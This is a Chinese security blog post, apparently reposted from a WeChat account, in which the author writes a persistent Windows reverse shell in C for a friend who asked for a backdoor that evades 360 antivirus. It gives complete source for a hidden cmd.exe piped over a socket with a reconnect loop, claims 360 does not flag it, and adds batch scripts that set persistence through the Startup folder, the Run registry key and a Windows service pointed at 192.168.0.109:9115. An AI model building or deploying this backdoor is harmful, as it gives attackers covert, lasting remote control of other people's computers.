免杀那点事之随手C写一个持久反弹shell(六)

admin 2025年4月6日19:43:06评论8 views字数 10916阅读36分23秒阅读模式

起因是前几天有个好朋友打电话求助一个windows持久免杀360的后门,当时我正在厨房大展厨艺,于是没办法就说,等我秀完厨艺吃完饭给你写一个吧!

美美的吃完我的菠菜全宴(春主生发,五色为绿,主肝,菠菜是一个不错的食材),随手C语言写一个呗。

但是朕家里面全是linux的系统啊,只能马上虚拟机windows安装一个360和C编译环境,开写!!!

首先目的是反弹一个win的shell过来。

先创建一个进程调用cmd,并且重定向输入输出

// 创建进程并重定向输入输出void CreateProcessWithRedirect(HANDLE hChildStdIn, HANDLE hChildStdOut) {    PROCESS_INFORMATION pi;    STARTUPINFO si;    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));    ZeroMemory(&si, sizeof(STARTUPINFO));    si.cb = sizeof(STARTUPINFO);    si.hStdError = hChildStdOut;    si.hStdOutput = hChildStdOut;    si.hStdInput = hChildStdIn;    si.dwFlags |= STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;    si.wShowWindow = SW_HIDE;    // 创建cmd进程    if (!CreateProcess(        NULL,        "cmd.exe",        NULL,        NULL,        TRUE,        CREATE_NEW_CONSOLE,        NULL,        NULL,        &si,        &pi)) {        ErrorHandling("创建cmd进程失败");    }    CloseHandle(pi.hThread);    CloseHandle(pi.hProcess);}
然后创建一个函数接收socks过来的shell数据
// 线程函数:从socket读取数据并写入管道unsigned __stdcall ReadFromSocket(void* param){    HANDLE hPipeWrite = (HANDLE)param;    SOCKET sock = (SOCKET)GetStdHandle(STD_INPUT_HANDLE);    char buffer[BUFFER_SIZE];    int bytesRead;    DWORD bytesWritten;    while (1) {        bytesRead = recv(sock, buffer, BUFFER_SIZE, 0);        if (bytesRead <= 0break;        // 写入管道(cmd的输入)        if (!WriteFile(hPipeWrite, buffer, bytesRead, &bytesWritten, NULL) || bytesWritten == 0) {            break;        }    }    CloseHandle(hPipeWrite);    return 0;}
再来个函数,发送的指令也要写入管道通过socks发送出去,然后形成完美的远程cmd交互
// 线程函数:从管道读取数据并写入socketunsigned __stdcall WriteToSocket(void* param){    HANDLE hPipeRead = (HANDLE)param;    SOCKET sock = (SOCKET)GetStdHandle(STD_OUTPUT_HANDLE);    char buffer[BUFFER_SIZE];    DWORD bytesRead;    while (1) {        if (!ReadFile(hPipeRead, buffer, BUFFER_SIZE, &bytesRead, NULL) || bytesRead == 0) {            break;        }        // 发送到远程服务器        if (send(sock, buffer, bytesRead, 0) <= 0) {            break;        }    }    CloseHandle(hPipeRead);    return 0;}
最后为了好朋友方便使用,直接main函数里面argv两个参数,一个ip一个端口。完整main函数如下:
int main(int argc, char* argv[]) {    // 检查参数    if (argc != 3) {        printf("用法: %s <IP地址> <端口>n", argv[0]);        return 1;    }    // 初始化Winsock    WSADATA wsaData;    if (WSAStartup(MAKEWORD(22), &wsaData) != 0) {        ErrorHandling("WSAStartup()失败");    }    // 创建socket    SOCKET sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);    if (sock == INVALID_SOCKET) {        ErrorHandling("socket()失败");    }    // 设置服务器地址    SOCKADDR_IN servAddr;    memset(&servAddr, 0sizeof(servAddr));    servAddr.sin_family = AF_INET;    servAddr.sin_addr.s_addr = inet_addr(argv[1]);    servAddr.sin_port = htons(atoi(argv[2]));    // 连接到服务器    if (connect(sock, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR) {        closesocket(sock);        ErrorHandling("connect()失败");    }    printf("已连接到 %s:%sn", argv[1], argv[2]);    // 创建管道    SECURITY_ATTRIBUTES sa;    sa.nLength = sizeof(SECURITY_ATTRIBUTES);    sa.bInheritHandle = TRUE;    sa.lpSecurityDescriptor = NULL;    HANDLE hChildStdInRd, hChildStdInWr;    HANDLE hChildStdOutRd, hChildStdOutWr;    // 创建子进程的stdin管道    if (!CreatePipe(&hChildStdInRd, &hChildStdInWr, &sa, 0)) {        closesocket(sock);        ErrorHandling("创建stdin管道失败");    }    // 创建子进程的stdout管道    if (!CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0)) {        CloseHandle(hChildStdInRd);        CloseHandle(hChildStdInWr);        closesocket(sock);        ErrorHandling("创建stdout管道失败");    }    // 设置标准输入输出句柄    SetStdHandle(STD_INPUT_HANDLE, (HANDLE)sock);    SetStdHandle(STD_OUTPUT_HANDLE, (HANDLE)sock);    // 创建cmd进程    CreateProcessWithRedirect(hChildStdInRd, hChildStdOutWr);    // 关闭不需要的管道端    CloseHandle(hChildStdInRd);    CloseHandle(hChildStdOutWr);    // 创建读写线程    HANDLE hThreads[2];    hThreads[0] = (HANDLE)_beginthreadex(NULL0, ReadFromSocket, hChildStdInWr, 0NULL);    hThreads[1] = (HANDLE)_beginthreadex(NULL0, WriteToSocket, hChildStdOutRd, 0NULL);    // 等待线程结束    WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);    // 清理资源    CloseHandle(hThreads[0]);    CloseHandle(hThreads[1]);    CloseHandle(hChildStdInWr);    CloseHandle(hChildStdOutRd);    closesocket(sock);    WSACleanup();    return 0;}
gcc编译一下,测试,完美交互,并且360没任何扯皮
免杀那点事之随手C写一个持久反弹shell(六)
但是只做到这点是远远不够的,我们需要持久的控制啊!!!
那么先来一个断线重连功能。
2.0代码先多声明一个常量,目的是用于每隔多少秒连接一次服务端
#define RECONNECT_DELAY 5000  // 重试间隔5秒(毫秒)
新增一个ConnectAndStartShell函数,里面加一个while循环,保证永久循环客户端不停的连接服务端,如果连接上执行1.0功能,如果断开又继续循环请求连接服务端。
// 连接到服务器并启动ShellvoidConnectAndStartShell(constchar* ip, int port){    WSADATA wsaData;    SOCKET sock;    SOCKADDR_IN servAddr;    // 初始化Winsock    if (WSAStartup(MAKEWORD(22), &wsaData) != 0) {        ErrorHandling("WSAStartup()失败");        return;    }    while (1) {        // 创建socket        sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);        if (sock == INVALID_SOCKET) {            ErrorHandling("socket()失败");            Sleep(RECONNECT_DELAY);            continue;        }        // 设置服务器地址        memset(&servAddr, 0sizeof(servAddr));        servAddr.sin_family = AF_INET;        servAddr.sin_addr.s_addr = inet_addr(ip);        servAddr.sin_port = htons(port);        printf("尝试连接到 %s:%d...n", ip, port);        // 尝试连接        if (connect(sock, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR) {            closesocket(sock);            Sleep(RECONNECT_DELAY);            continue;        }        printf("连接成功!n");        // 创建管道        SECURITY_ATTRIBUTES sa;        sa.nLength = sizeof(SECURITY_ATTRIBUTES);        sa.bInheritHandle = TRUE;        sa.lpSecurityDescriptor = NULL;        HANDLE hChildStdInRd, hChildStdInWr;        HANDLE hChildStdOutRd, hChildStdOutWr;        if (!CreatePipe(&hChildStdInRd, &hChildStdInWr, &sa, 0)) {            closesocket(sock);            ErrorHandling("创建stdin管道失败");            continue;        }        if (!CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0)) {            CloseHandle(hChildStdInRd);            CloseHandle(hChildStdInWr);            closesocket(sock);            ErrorHandling("创建stdout管道失败");            continue;        }        // 设置标准输入输出句柄        SetStdHandle(STD_INPUT_HANDLE, (HANDLE)sock);        SetStdHandle(STD_OUTPUT_HANDLE, (HANDLE)sock);        // 创建cmd进程        CreateProcessWithRedirect(hChildStdInRd, hChildStdOutWr);        // 关闭不需要的管道端        CloseHandle(hChildStdInRd);        CloseHandle(hChildStdOutWr);        // 创建读写线程        HANDLE hThreads[2];        hThreads[0] = (HANDLE)_beginthreadex(NULL0, ReadFromSocket, hChildStdInWr, 0NULL);        hThreads[1] = (HANDLE)_beginthreadex(NULL0, WriteToSocket, hChildStdOutRd, 0NULL);        // 等待线程结束        WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);        // 清理资源        CloseHandle(hThreads[0]);        CloseHandle(hThreads[1]);        CloseHandle(hChildStdInWr);        CloseHandle(hChildStdOutRd);        closesocket(sock);        printf("连接断开,将在5秒后重新尝试...n");        Sleep(RECONNECT_DELAY);    }    WSACleanup();}
main函数也改一下
intmain(int argc, char* argv[]){    // 检查参数    if (argc != 3) {        printf("用法: %s <IP地址> <端口>n", argv[0]);        return 1;    }    // 启动主连接循环    ConnectAndStartShell(argv[1], atoi(argv[2]));    return 0;}
完美,即使服务端不监听,客户端也会每隔5秒钟去连接一次,一旦连接上了,继续交互shell
免杀那点事之随手C写一个持久反弹shell(六)
并且360毫无反应,来个手动云查杀
免杀那点事之随手C写一个持久反弹shell(六)
到这一步你是不是就认为可以了,不是的,咱们要持续控制,那么有什么好办法呢?
1、启动目录
写一个bat脚本来执行吧
@echo off:: 获取当前脚本所在目录set "current_dir=%~dp0":: 获取启动目录set "startup_dir=%APPDATA%MicrosoftWindowsStart MenuProgramsStartup":: 复制persistent_shell.exe到启动目录copy "%current_dir%persistent_shell.exe" "%startup_dir%" >nul:: 检查是否复制成功if exist "%startup_dir%persistent_shell.exe" (    echo persistent_shell.exe 已成功复制到启动目录else (    echo 复制失败,请检查文件是否存在    pause    exit /b):: 执行启动目录中的persistent_shell.exestart "" "%startup_dir%persistent_shell.exe" 192.168.0.109 9115exit /b
目的是复制persistent_shell.exe到win的启动目录,然后执行相应的指令,这个bat其实有问题的,我只是演示使用,因为下一次开机自启动后,系统只会执行persistent_shell.exe而并不会跟上后面的参数。聪明的你自己去改,我不方便!!!
2、注册表
直接添加到注册表的run然后写好启动参数
@echo off:: 检查是否以管理员身份运行(修改注册表可能需要管理员权限)net session >nul 2>&1if %errorLevel% neq 0 (    echo 请以管理员身份运行此脚本!    pause    exit /b):: 获取当前脚本所在目录(假设persistent_shell.exe和此脚本在同一目录)set "current_dir=%~dp0"set "exe_path=%current_dir%persistent_shell.exe":: 检查文件是否存在if not exist "%exe_path%" (    echo 错误:persistent_shell.exe 不存在于当前目录!    pause    exit /b):: 添加到注册表启动项(全局生效)reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun" /v "PersistentShell" /t REG_SZ /d ""%exe_path%" 192.168.0.109 9115" /f >nul:: 立即执行程序start "" "%exe_path%" 192.168.0.109 9115echo 已成功添加开机启动项并执行程序echo 程序路径: %exe_path%echo 参数: 192.168.0.109 9115:: 可选:等待用户确认pause
当然,这个需要管理员身份运行。
上述方法,都是一个二进制文件去操作敏感目录或者注册表,或多或少都会引起360的警觉,但是没关系,其实最好的持久就是利用系统自己的服务功能。
把程序做成服务呗~~~
免杀那点事之随手C写一个持久反弹shell(六)
具体代码就不公开了,好朋友也没发,因为他可能觉得上面的已经够用了吧!!!!
使用注册表键值来进行IP和端口的配置
安装服务ShellService.exe install配置注册表键值HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesShellServiceParameters修改:TargetIP - 字符串值,设置目标IP地址TargetPort - DWORD值,设置目标端口启动服务net start ShellService停止服务net stop ShellService卸载服务ShellService.exe uninstall
我特别写了一个非常人性化的bat脚本来配置服务。
@echo off:: Shell服务管理脚本:: 需要管理员权限运行:: 检查管理员权限net session >nul 2>&1if %errorLevel% neq 0 (    echo 请使用管理员权限运行此脚本    pause    exit /b):: 设置变量set SERVICE_NAME=ShellServiceset SERVICE_EXE=ShellService.exeset TARGET_IP=192.168.0.109  :: 修改为目标IPset TARGET_PORT=9115         :: 修改为目标端口:menuclsecho ====================================echo   反弹Shell服务管理菜单echo ====================================echo 1. 安装并启动服务echo 2. 启动服务echo 3. 停止服务echo 4. 卸载服务echo 5. 修改目标IP和端口echo 6. 退出echo ====================================set /p choice=请选择操作[1-6]:if "%choice%"=="1" goto installif "%choice%"=="2" goto startif "%choice%"=="3" goto stopif "%choice%"=="4" goto uninstallif "%choice%"=="5" goto configif "%choice%"=="6" exitecho 无效选择,请重新输入pausegoto menu:installecho 正在安装服务...if not exist "%SERVICE_EXE%" (    echo 错误: 未找到 %SERVICE_EXE%    pause    goto menu):: 安装服务%SERVICE_EXE% install:: 配置IP和端口reg add "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetIP /t REG_SZ /d "%TARGET_IP%" /freg add "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetPort /t REG_DWORD /d %TARGET_PORT% /f:: 启动服务net start %SERVICE_NAME%if %errorlevel% equ 0 (    echo 服务安装并启动成功else (    echo 服务启动失败)pausegoto menu:startecho 正在启动服务...net start %SERVICE_NAME%if %errorlevel% equ 0 (    echo 服务启动成功else (    echo 服务启动失败)pausegoto menu:stopecho 正在停止服务...net stop %SERVICE_NAME%if %errorlevel% equ 0 (    echo 服务停止成功else (    echo 服务停止失败)pausegoto menu:uninstallecho 正在卸载服务...net stop %SERVICE_NAME% 2>nulsc delete %SERVICE_NAME%if %errorlevel% equ 0 (    echo 服务卸载成功else (    echo 服务卸载失败)pausegoto menu:configecho 当前配置:for /f "tokens=2*" %%a in ('reg query "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetIP 2^>nul'do set current_ip=%%bfor /f "tokens=3" %%a in ('reg query "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetPort 2^>nul'do set current_port=%%aif defined current_ip (    echo 当前IP: %current_ip%else (    echo 当前IP: 未设置)if defined current_port (    echo 当前端口: %current_port%else (    echo 当前端口: 未设置)set /p new_ip=请输入新的目标IP[当前: %current_ip%]: set /p new_port=请输入新的目标端口[当前: %current_port%]: if "%new_ip%"=="" set new_ip=%current_ip%if "%new_port%"=="" set new_port=%current_port%:: 验证IP格式echo %new_ip% | findstr /r "^[0-9][0-9]*.[0-9][0-9]*.[0-9][0-9]*.[0-9][0-9]*$" >nulif %errorlevel% neq 0 (    echo 错误: IP地址格式无效    pause    goto config):: 验证端口范围if %new_port% lss 1 (    echo 错误: 端口号不能小于1    pause    goto config)if %new_port% gtr 65535 (    echo 错误: 端口号不能大于65535    pause    goto config):: 更新注册表reg add "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetIP /t REG_SZ /d "%new_ip%" /freg add "HKLMSYSTEMCurrentControlSetServices%SERVICE_NAME%Parameters" /v TargetPort /t REG_DWORD /d %new_port% /fecho 配置已更新echo 需要重启服务使更改生效pausegoto menu
测试一下效果,你就说完美不完美吧
免杀那点事之随手C写一个持久反弹shell(六)
免杀那点事之随手C写一个持久反弹shell(六)
免杀那点事之随手C写一个持久反弹shell(六)
关注[蓝极战队],学习更多奇葩知识

原文始发于微信公众号(蓝极战队):免杀那点事之随手C写一个持久反弹shell(六)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月6日19:43:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀那点事之随手C写一个持久反弹shell(六)https://cn-sec.com/archives/3920072.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息